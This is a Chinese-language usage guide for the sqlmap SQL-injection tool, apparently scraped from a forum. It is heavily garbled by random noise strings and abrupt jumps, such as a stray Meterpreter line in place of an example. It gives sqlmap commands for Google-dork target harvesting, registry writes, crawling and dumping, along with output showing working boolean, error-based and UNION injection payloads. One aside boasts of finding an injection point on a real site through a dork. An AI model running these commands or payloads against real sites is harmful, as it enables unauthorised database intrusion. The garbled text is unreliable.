9 {- T2 }% J. H) W1 m- R0 r文件中保存url格式如下,sqlmap会一个一个检测 8 d1 E8 Z7 g) D. b9 n" B' B ; N4 C# W) w/ X8 S8 N% jwww.target1.com/vuln1.php?q=foobar z( T8 }( P5 W
. }5 B- y3 G1 J) [
www.target2.com/vuln2.asp?id=1 5 o. J" @( {: |9 u- m9 @4 P: q 8 r5 ^8 a% L( j2 s8 x8 ~8 N1 \www.target3.com/vuln3/id/1*$ q; k" P* S& J/ ~" E1 b' n
0 j! {3 [5 q6 l Z. R# U8 B5 Y从文件中加载HTTP请求 8 x9 |+ P( D7 `6 E$ T" {: [' v0 x/ d2 c
参数:-r! r& I' [4 l. T! w( H/ e
! O# h6 d A/ k) K1 Osqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。 1 \1 V. ?8 L1 B% U . `) U+ w3 T- O9 N( w& w比如文本文件内如下: # L9 k* U" k& _2 j4 R- s7 f7 ?9 ~2 }
POST /vuln.php HTTP/1.1 / t- P1 q% j9 w3 O0 WHost: www.target.com + ?$ s+ r, u i( }+ P AUser-Agent: Mozilla/4.0 ( n# L- U, [) T1 p' } 8 l( f, X3 j/ y. yid=1 2 a$ s ~9 J' f& O8 H2 f ; ~3 Q0 ?5 D& Q. w3 d当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,或者你可以在Host头后门加上:443 * G3 n5 J( e8 g3 r4 Y处理Google的搜索结果 8 g! ~% i5 V, `! [4 e# s* S6 z. A" a; F) T) m
参数:-g, A9 c, M/ A( j
6 T5 c( \) v: l/ d
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。3 c, y6 \% h H; l& u1 n1 f) V
5 m) g# ` a! j% G例子: / a q6 b1 T3 l7 ]5 H; s5 @+ ?* ^7 z! g; D% P2 W
python sqlmap.py -g "inurl:\".php?id=1\"" 6 b d& S4 j. S; U) u ! o! _6 |) p, E% t3 L3 R5 `(很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点) ; y w0 X4 x6 _8 {7 l2 ]4 r: ?1 M( H9 a+ { c
此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。 3 k7 j0 F8 C- F( e请求 5 Z, u0 P( D! l" n% ^1 Whttp数据/ S/ z+ x: Y( e$ q3 K
- T5 M t" u Q, P! S! a# a9 @4 e参数:--data ( N$ P! c) r4 ^1 u( U+ [/ P! k+ \3 M; ~) O
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。3 ~* ]2 ?5 b& w8 M( p
5 |# G% E* r6 q7 I2 ], F: r. i
例子:' d5 I r7 N/ N: s
" W1 F* b! p, bpython sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users* \. r: s/ J" W& j- R E
& s& q8 p+ G _/ B
参数拆分字符: Y6 a5 @6 B/ A$ V" l4 x3 ~
- L% c9 Y4 m9 O& V
参数:--param-del - R9 U+ K- N7 J7 f Z, t7 i, ]2 F @0 W9 f6 x( g e/ e
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。 : @$ y, {; a$ C4 D& | 8 ^3 ]1 {+ J4 m3 `9 F6 B例子:2 U2 M3 t, }- k
Meterpreter session 1 closed. Reason: User exit 0 |: }0 z6 k7 W" Y5 W7 S* D h0 C" T- z$ M* R
默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。 h v$ C: a/ j9 o% v" i8 ? ( p+ k& w0 J* i3 U4 [% P" v - R5 j8 @! Z; ]) n4 p
- x4 n5 ~- y8 j4 h# X( F! _+ {$ o对Windows注册表操作 . ^: t( H# L- Q$ S+ c 1 m/ T% H ~2 e当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。 $ W9 j" d9 g4 m% X- O& N ; |% i9 s0 R3 D9 X+ l9 v& h读取注册表值2 U) p) E" @. v$ b8 M$ v. ] m* g
" f, ]6 u, L4 f6 }
参数:--reg-read1 g# D2 T( v7 T0 ?
写入注册表值 ' L$ h3 T9 L8 V, {; G1 ` 3 |/ f0 h9 B- V参数:--reg-add/ U' U3 u: K! _8 V. H4 s
删除注册表值 % ?# ^. j! I) } + Y$ i3 n" e+ {- x9 e2 u( v8 e9 {参数:--reg-del* n% d2 G* Q- a4 h% f; s7 P# P
注册表辅助选项 : V" ~8 `# w2 V& p! A' ^% w $ z+ T8 P v9 A& V6 P- F参数:--reg-key,--reg-value,--reg-data,--reg-type 7 {( U3 \1 \3 V" V& Q- n+ ]& J5 y e) y V4 {4 d/ X ~( Y
需要配合之前三个参数使用,例子:8 U8 ]$ }/ @. \: I
! L t3 c* V+ f% U G% Q
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 $ Q0 a5 g7 t* G3 C2 n$ y6 i4 @7 u 2 j% h0 h- x3 q* J4 x! y2 \7 a常规参数 " \4 t& [7 `$ s从sqlite中读取session/ j" q& |' [9 i& K% G: }- B
* z6 F0 |: j4 D4 ]6 V ~
参数:-s 1 L/ Q6 s$ a! q - l+ @4 i0 t, O# Y4 ]sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。6 Z I# }1 I2 M
保存HTTP(S)日志- N( W& ~ h% m# }- c
. V2 X' O, r& ]0 q
参数:-t & J- g; j9 J4 l' T+ m$ U( P3 d' g( L$ i i1 U1 ]' }
这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。$ u3 ~# {4 b) C' d' x
非交互模式 , G* {. I4 @9 H- ]; K+ i4 r " J' F! Q4 A; X; l$ e# D参数:--batch % J# \6 Y$ p2 ~ c' \6 [; ]. d用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。2 f3 @% O$ A2 a: p1 F& l
强制使用字符编码 - z1 ]0 U& m* h4 j' P & h# v+ m/ i/ ^& Z参数:--charset* t3 [# G ~5 X# J, W; [
: l2 E% q( X1 T& f2 g9 p9 f& a不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如: ; O: B9 \- v# ]5 z' k a% } L ; H3 p: O8 j; R4 o, G--charset=GBK ( w+ f4 {- m5 \) q ; J9 S) N. K# j; p9 Y) m( k. V爬行网站URL7 L! d# K7 W$ w1 M7 W& c/ a
6 G) D- S& }9 ~! q9 }1 J参数:--crawl 1 @# U4 d2 O: [# K* c$ v& E8 X* W4 R' J A! u8 \
sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。# W1 ?3 K7 j2 D* ?4 \
* @0 \9 L, ~( y. u M+ J
例子: 8 ^0 H# ^) u4 m, o3 `) o0 E; k6 T1 T/ s: _- _+ [
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3 {! N1 b; i% {" u+ u; U# {/ m z- E[...]! a8 {0 W; d1 \- X8 L# M4 R: _
[xx:xx:53] [INFO] starting crawler H0 {6 q- K7 u( c. ?6 A[xx:xx:53] [INFO] searching for links with depth 1- `: D2 T3 q8 `7 k2 ]9 M+ v
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while0 s k$ G+ J6 @0 y5 t, n
[xx:xx:53] [INFO] searching for links with depth 2 u# S! v7 e; w' L" c[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'0 f+ D% w) g- ` s
[xx:xx:00] [INFO] 42/56 links visited (75%). n: C) v1 H1 Y% @
[...] ! y) [4 w4 a1 f: G ) r7 q& {) \, X2 {. S规定输出到CSV中的分隔符 9 @# A2 Q" i3 j; [1 U" n ) j4 p% N- Y8 g @参数:--csv-del 2 M1 x9 K. k% n! X/ y" H* E % r1 ^, R2 f# d: M7 W: u当dump保存为CSV格式时(--dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如: ' X7 m0 m# Y l, }* ^ k2 a/ m# [( G+ @& u1 I
--csv-del=";"1 l8 R0 C" Q- G/ U0 L3 B+ q# e
4 i" u- ?8 b8 j" J6 Y
DBMS身份验证- t( m. E, u) y2 @- q7 w; ^. ^8 s
9 Y; K$ K3 e; e! P% d
参数:--dbms-cred - n" ^8 p" p+ D9 m: B- }; A/ T 5 }( t( H# h m% ?' L3 i+ i+ y% a某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数: s/ Q5 Y- H2 H$ H- [
定义dump数据的格式' D2 g2 w8 J. d7 q) L
( w1 N) z7 L5 F- l参数:--dump-format' T1 v$ q) M& G- w0 J n, L6 ?1 ?
4 C: p) l' z7 a. @! _& n
输出的格式可定义为:CSV,HTML,SQLITE6 G" s$ T; d b' M7 X
预估完成时间& T8 z& m) ^" ]2 a/ t; I
3 S! \2 G& E& k( S+ v! j4 g( i参数:--eta . P# m: ?3 r# S" F. s3 a1 T5 y, D" T( w' ^
可以计算注入数据的剩余时间。2 u1 G2 c; _; n% U, g& q; d7 `3 h
7 b6 n& ~/ W* J/ t: O* | r! U例如Oracle的布尔型盲注: 7 A1 t# x g" H( _" ]2 m: Y3 Z7 @
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta6 M* G7 Q# f( i* {
6 M: b- r; [# m: S4 z' h4 u
[...]( w0 c! E' C: G5 ] M* U
[hh:mm:01] [INFO] the back-end DBMS is Oracle : J p( }. O L, i3 k6 O[hh:mm:01] [INFO] fetching banner& \ y& G/ P* T! Y6 j. O
[hh:mm:01] [INFO] retrieving the length of query output " H* R/ C! V0 m, a1 ~[hh:mm:01] [INFO] retrieved: 64 ' B$ q8 n, T8 l J; L17% [========> ] 11/64 ETA 00:19: O: j( X p2 c4 l9 p' A" N* W5 U
I5 x- B; X9 d+ F; N+ Pweb application technology: PHP 5.2.6, Apache 2.2.9 % \% k; v* X7 S5 o+ ~+ Jback-end DBMS: Oracle # e! s0 `- r+ u: x' \1 abanner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'" B8 Z) T1 _8 S) j3 l; R2 i& J2 `
: s, O; D2 t% Q" E7 o$ S. S' ^ K5 K
sqlmap先输出长度,预计完成时间,显示百分比,输出字符 0 s3 A3 n- h/ L& E刷新session文件4 d0 U3 o0 G2 K9 D! F ^( e9 a, H) [
" z" u8 ?. u9 r% X1 a/ z+ c, ~
参数:--flush-session ) _- u3 |# {0 Z3 @0 }: N " _0 b- u! p4 @6 h如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。; i/ G5 ]( x* e, v0 ^6 H) V
自动获取form表单测试 2 F2 g. K5 W6 f/ ]' w% @; l1 b % B3 C. @7 R0 F9 M参数:--forms K6 R1 I; `9 r/ E
: g: h x4 O9 w- Q$ k5 ^6 V
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。8 ^6 I5 T, m4 a! q) G# X- d! R
忽略在会话文件中存储的查询结果- d# y0 D" J0 |+ x1 `
+ T( O u- |8 h$ a$ P% v
参数:--fresh-queries6 m+ z3 g7 u$ `$ i. u+ ^$ p
$ C6 t" ]3 d. ~, h( U
忽略session文件保存的查询,重新查询。' E* N8 B Z9 W* M0 W
使用DBMS的hex函数- F( H7 G: q/ O+ M; i+ a
( D, P" \8 b2 O& W4 c
参数:--hex 8 |, D* ^7 @+ r& }% R. N% X4 n7 |. N( R Z: d
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免: ' X5 R+ h1 `* l0 @& h3 j. g2 ]* c1 s' @3 \9 C
针对PostgreSQL例子:" A) G2 M* p# D2 Z2 T7 C
* G- H$ Z5 A {# l5 D$ I
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors ' m2 Y6 `! a+ { / B" Q# W( K: i' U; e3 {3 \9 G. h[...] 9 {# \& c e$ P[xx:xx:14] [INFO] fetching banner) ^$ i t+ m9 ]" U) k* v9 Q
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) ' S" b, b, z2 Z. _, \3 O[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>' ; d3 r# Y1 T! f& B! x[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by ! L; _- L+ E* B% E% X: E! o& yGCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2 2 ]5 E& K0 q! I( F X, f8 }3 Z; d[...]0 |# c% ~+ C2 i% _: O
3 N, C! W* G5 z/ s) |6 I" F自定义输出的路径5 ~/ _1 s9 Q: _# C6 c. Q6 ]
2 m3 q {3 q% `. W; S参数:--output-dir 5 t( \$ h" q( l, ?, ~$ h ; m( a4 Q& W3 Z8 G) F5 asqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp . q5 s" N; p! t& M' {$ } ~从响应中获取DBMS的错误信息 : N# z6 k! o) S3 I' R* t9 }2 q9 N9 K+ X3 V1 ~- Q
参数:--parse-errors) j9 T3 k/ @: Z- Z
9 Y$ t5 _. }7 F+ N% T5 ~" r
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。: w9 E% n% V" l" @6 W- {$ A
, s) J, P& w3 c3 b% H! I/ U- U
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors ' S! p/ \& t2 @' U. `: v[...] / n, Q( x& _& x; y, |3 i1 `0 ][11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test 6 E" \) h$ Z- K! I[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) ) k! f' E1 y( U& ^! R* p[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list. . ~& q( P1 u% C<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' , F) ~+ z& Y3 H$ I, G- z; _[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) M+ P1 m3 X) f4 Z4 E2 [6 y
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. - R ]0 I* S2 P# A& C P! g8 ^<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>': K+ v. Z9 c. {: ?! K
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) 0 B+ m6 t# {- C5 |' c[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. ; [+ m* P4 X$ Y+ Y2 ^4 M<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>', o/ Y8 S4 ?( f/ U* r: U6 F
[11:12:17] [INFO] target URL appears to have 3 columns in query% [5 F9 G2 f% `6 {& N; k5 k0 {
[...]$ n1 Y& F; s9 I& s
6 s4 G- [5 R7 G) I4 ~: T8 V2 R
其他的一些参数3 w! Z. B6 Y4 ]" k1 N4 ?
使用参数缩写, _$ E1 ]7 D& Q" g C \
0 [6 S P4 ^3 x8 A3 a' H1 N; f0 u4 F( {
参数:-z 8 s3 T3 g7 f# F2 y6 f" V' h" h9 Y) `3 R5 w7 B& _% v
有使用参数太长太复杂,可以使用缩写模式。 例如:2 o+ ?- M1 {% d4 ~1 p
, I9 Z/ N. T& `5 M, n1 p; _( hpython sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" 0 b! P l% P: M0 I1 d. D! v& C7 d1 D9 L; x1 g* O6 ^, U9 C2 u
可以写成: 4 t' F# g2 B2 X7 J: W) m d. {2 O1 t* R' _/ \" ?6 Vpython sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" . t" ~1 A- ~" T% E; J1 b; ?& }8 e1 v) j
还有:4 G k2 a& b# H( s! D
" K* M; Q2 k9 n z1 D( wpython sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1" 4 @# g3 c5 u& z& C6 e* a
7 b1 u2 a" ?; g可以写成:' y2 m4 M. O( w
" I- H/ z! @3 y$ Y0 Rpython sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1" $ N! J* n% o" _1 N+ @7 i y( h& L' X% f4 L5 ~8 x2 j+ N( N' p0 O/ D
成功SQL注入时警告 2 h! W/ o. A% S1 X! B5 K* Y
1 o9 x/ ~1 T) ?) F* F' H4 L参数:--alert / B% @0 y1 e& I$ _7 s- W设定会发的答案8 `! L# R/ ~& x0 e
7 _! P* D+ {6 N2 [7 u
参数:--answers " H9 t, I. b: e' \( T 5 K/ _! [. e. a% x+ ^. A* q当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:& Q! g) |4 ^# k- j
7 w: Y ~4 w) v3 ]- n- c* O
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch + x/ {( ^* k1 l[...] ' p g9 |& I$ w! A4 _[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' 0 a; j Q- J4 R+ w0 g4 ]heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y ) Q/ R. j4 R a3 C$ {[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N % T' Q8 M9 S5 R7 P7 R6 B[...]6 W4 C9 U3 h- b- p' j& m
" F! i9 F" H% N( u6 c例如:1 ~6 k8 [6 [: B) `$ j
. Y# R- m7 S$ _0 n
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile & |: i6 L* |4 E. {7 ]2 m[...] " n7 H, ^' ]( M+ i3 G8 V# Rwhich smartphone do you want sqlmap to imitate through HTTP User-Agent header?7 c9 k% I: L/ x% ?( m7 c% [+ K' J
[1] Apple iPhone 4s (default)/ K) f+ o U( T9 Z$ o
[2] BlackBerry 9900 2 d' O3 Z1 E u) s[3] Google Nexus 7 # S4 O- J5 w8 |+ l3 Z[4] HP iPAQ 6365 4 V, {. ]8 V4 _9 R8 O9 L[5] HTC Sensation - C# l$ v; R/ ^7 H$ @[6] Nokia N97& L% p3 h& C8 F `* i' `
[7] Samsung Galaxy S1 {* v2 @3 z- B; K8 ^* r. B: k
> 15 m- O, F3 b/ x d
[...] h8 ` I, [% [0 A
" ~: B s m8 ^: C/ W7 p: t安全的删除output目录的文件 1 C! a0 B3 J* A) j6 D. F+ G 8 J, u2 i! a h9 W- M参数:--purge-output2 J0 q: Y2 a& H, ~$ n
* b, ?: W$ A; Q- V U8 g/ A有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。& ]9 u" q2 V$ w& t
/ z' B) q! ]. [2 Y例如: " o" }2 F- K2 |, a# _$ N0 g# b8 o; `6 n& j9 D
$ python sqlmap.py --purge-output -v 3 # Y Q. l# `; M* s) g2 v6 m! O9 n1 p) W[...] G0 U* y+ j( n0 Z# w( \6 z; {
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'... 4 c) [0 ]7 l6 j6 `) c[xx:xx:55] [DEBUG] changing file attributes/ t1 p8 F7 z, Z. t: b# q* R, g
[xx:xx:55] [DEBUG] writing random data to files 0 R, I5 G$ G6 [! k7 N2 _[xx:xx:55] [DEBUG] truncating files ; G$ P9 G* j; s: c6 U Q[xx:xx:55] [DEBUG] renaming filenames to random values # B: p% g, j9 M" _6 l* J2 n4 r. ^[xx:xx:55] [DEBUG] renaming directory names to random values) D5 @2 V) l% u) z
[xx:xx:55] [DEBUG] deleting the whole directory tree : ^, W* K9 g3 \. L: H2 c4 b[...]+ o/ {0 r" f8 p7 M
! j' t+ j; v' G1 o. Z! }. g
启发式判断注入 & C" t- N( D% N/ r* q N9 h: S! O0 ~ * B5 n" J- ?* g; N参数:--smart. \' W: ?% P# R( C) b
9 Q' u& f _4 I
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。7 q& Q! y, F' D3 c& T' v
' C `8 W f! g% ^. H4 c例子:; x+ y. v4 s' N* b- t. j5 a0 j: {
0 N$ b7 ^* p$ O0 _3 c& f$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart 2 Y/ v7 U, F- d+ A! |. S# `[...] 9 \6 l! Y7 O. S. ]- _% r[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic $ w; b' f h2 ]# Q5 ~[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic: a! K" `' p9 w7 O4 C0 p2 ^
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable& W+ g, J9 _1 L5 I5 J
[xx:xx:14] [INFO] skipping GET parameter 'ca' F4 t% y' o- a5 T) P$ L
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic S9 O5 ~4 n0 Q; t[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic 2 ]& _; K. V, p/ o4 j( S( a[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable; a- {. f2 @8 I- F( ]+ e( ~
[xx:xx:14] [INFO] skipping GET parameter 'user'+ [- ^) f4 E1 C: }- s# X6 N
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic: Z, G' e0 L" L6 \) j& K$ m- J+ [, H
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic4 }$ t p1 J1 H4 h- ]
[xx:xx:14] [INFO] GET parameter 'id' is dynamic) y( F( c2 `8 _% o! U
[xx:xx:14] [WARNING] reflective value(s) found and filtering out9 W5 o! U# d) [% [
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') ; Q! v( U7 ?( U( M8 J5 G[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'- s0 K" l9 O' _ J9 u7 [" q( H
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y ! q$ w- r+ y8 n) u' {+ Q+ u6 Q8 u Odo you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y3 {: [! a6 x8 O* F
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' : v7 `4 g* V6 _2 r$ Q& Y[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable ( u& ~0 C' h/ @! Q' F6 T+ V" h
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'$ y# }; H2 \4 ]5 Z1 `, P
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable / u+ z" }4 Y; w g
[xx:xx:14] [INFO] testing 'MySQL inline queries'% d- O; x! n9 h; h- q6 Z9 n4 j: P5 P" y
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries' & J8 x1 v: C# Y. g/ c[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' 5 z8 |8 |3 P# s: I- k( C" g5 S8 V[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind', n: X: q3 t% v4 u
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable ' w; s+ u( u% x( y
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'8 H: i+ o% a( _* j2 e) F' z0 }
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found % U8 D7 ~+ A* ^$ G( w8 z[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test/ @1 ~3 Q1 _4 s- B7 N5 P
[xx:xx:24] [INFO] target URL appears to have 3 columns in query ; }' ] s; |. G4 e* a[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable 9 Q- ~' Q1 l9 t3 W! m- A6 j/ |[...] . h( x" T/ c! {/ p' ]1 e! F- v) C
初级用户向导参数 ) T' l+ ?' H# a8 T* Z + f, n( k9 o% c参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。 ! O8 R- L( J4 S& f 0 v, b% l5 ]6 x! E( E# |$ python sqlmap.py --wizard0 T- }' N f1 g4 Q7 N
; |% u! k5 O& ]6 s! X
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool; q. i3 {5 S( I; j- P# ]0 d5 }
; _0 M% q" N# E: V( Q# C* `
http://sqlmap.org 6 \' l" m, ^% ^0 O$ G; g, @: {, u i- b- P$ r Q8 g
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. {8 D6 W. H( V9 U4 s. G
starting at 11:25:26 $ I7 F$ q' u# a% d" l& e% P" b/ P" E8 F" K+ B
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 : s- X6 v2 A8 z5 s: \POST data (--data) [Enter for None]: 8 l5 _' ?. c# @* |) P
Injection difficulty (--level/--risk). Please choose: ; e. K# } b* C- [, r[1] Normal (default) 7 z( y# w. n+ E K[2] Medium " F+ e- B3 [6 z' J[3] Hard) W; x4 K. c" M* N
> 16 d0 x2 ~2 Z* a+ F8 G' \
Enumeration (--banner/--current-user/etc). Please choose: $ }7 z% Q; N& d; W0 e[1] Basic (default)3 @/ a! f" E: Q, I' M
[2] Smart$ q V" b& p8 _% [: d
[3] All 2 X, ? R( ^6 w, j> 1. n' \/ `" U6 \8 c, b$ c
' L1 }/ i0 u N3 |- H
sqlmap is running, please wait.. # }2 } M1 n, l! k& p' A ' {6 H2 u, \0 |( @0 Q# ?heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y ; p# R6 m, n+ Rdo you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y % y% S. k7 U8 G# K- JGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N $ G0 B& t2 n G1 s+ Dsqlmap identified the following injection points with a total of 25 HTTP(s) requests:/ g8 d0 |6 l" O
--- 8 y& j1 j1 u. Z1 I5 o: }# K, R9 _ o: ePlace: GET& j6 b& M" ?7 q, q! ^) J
Parameter: id/ U% U* h3 b; T$ C# c4 c/ R
Type: boolean-based blind ( V+ M$ }: J. D9 A+ ^$ |, [ Title: AND boolean-based blind - WHERE or HAVING clause( b# h+ |# l$ r. a
Payload: id=1 AND 2986=2986" w2 {) y T4 S% X; K0 ^
; p0 k; Q4 l- G# m$ o$ t# F
Type: error-based ' W. c& D9 i8 ]) \ Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause W6 R7 d3 b% a' t" D Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))) ' d( h) T% g: v0 s) g! [ / `8 ]: v2 U% D) G* e% s Type: UNION query0 Q) d0 x: R q" T' [. [( ~- R
Title: Generic UNION query (NULL) - 3 columns # {( H2 a; _- e; w. @7 G Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- / h5 @. T1 i5 j7 W3 Z4 l& @
e. W. g) S. R- S$ P" M Type: stacked queries 2 X& u" f* Y4 U1 z3 X; D: H* S Title: Microsoft SQL Server/Sybase stacked queries- [& s: |5 G( d* u9 B. r. z
